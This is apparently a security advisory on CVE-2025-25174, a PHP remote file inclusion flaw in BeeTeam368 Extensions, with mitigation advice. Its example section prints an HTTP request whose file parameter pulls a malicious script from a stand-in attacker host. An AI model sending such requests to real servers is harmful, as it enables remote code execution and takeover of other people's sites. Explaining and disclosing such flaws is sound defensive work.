Overview
The cybersecurity world is on high alert due to a newly discovered vulnerability labeled CVE-2025-25174. This critical flaw resides in the BeeTeam368 Extensions, affecting all versions up to and including 1.9.4. The vulnerability stems from an Improper Control of Filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion.’ This sort of vulnerability can lead to severe consequences, including potential system compromise or data leakage. Therefore, it is vital for any organization utilizing BeeTeam368 Extensions to understand this risk and take necessary actions to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-25174
Severity: Critical (CVSS:10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
BeeTeam368 Extensions | n/a through 1.9.4
How the Exploit Works
This exploit takes advantage of the PHP Remote File Inclusion vulnerability in BeeTeam368 Extensions. The issue arises from the improper control of a filename that’s being included in a PHP program from a remote server. Attackers can manipulate this filename to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code is executed in the context of the affected application, potentially leading to unauthorized access, data breach, or even a complete system takeover.
Conceptual Example Code
Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:
GET /beeteam368_extension.php?file=http://evil.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker sends a GET request to a vulnerable PHP file (`beeteam368_extension.php`) on the target server (`target.example.com`). The `file` parameter is manipulated to include a malicious PHP script (`malicious_script.txt`) from a remote server controlled by the attacker (`evil.com`). If the server processes this request, it unknowingly executes the malicious script, compromising the system.
Mitigation Guidance
The best course of action to mitigate this vulnerability is to apply the vendor-provided patch. If a patch is not immediately available or applicable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability, providing some level of protection until a more permanent solution can be implemented.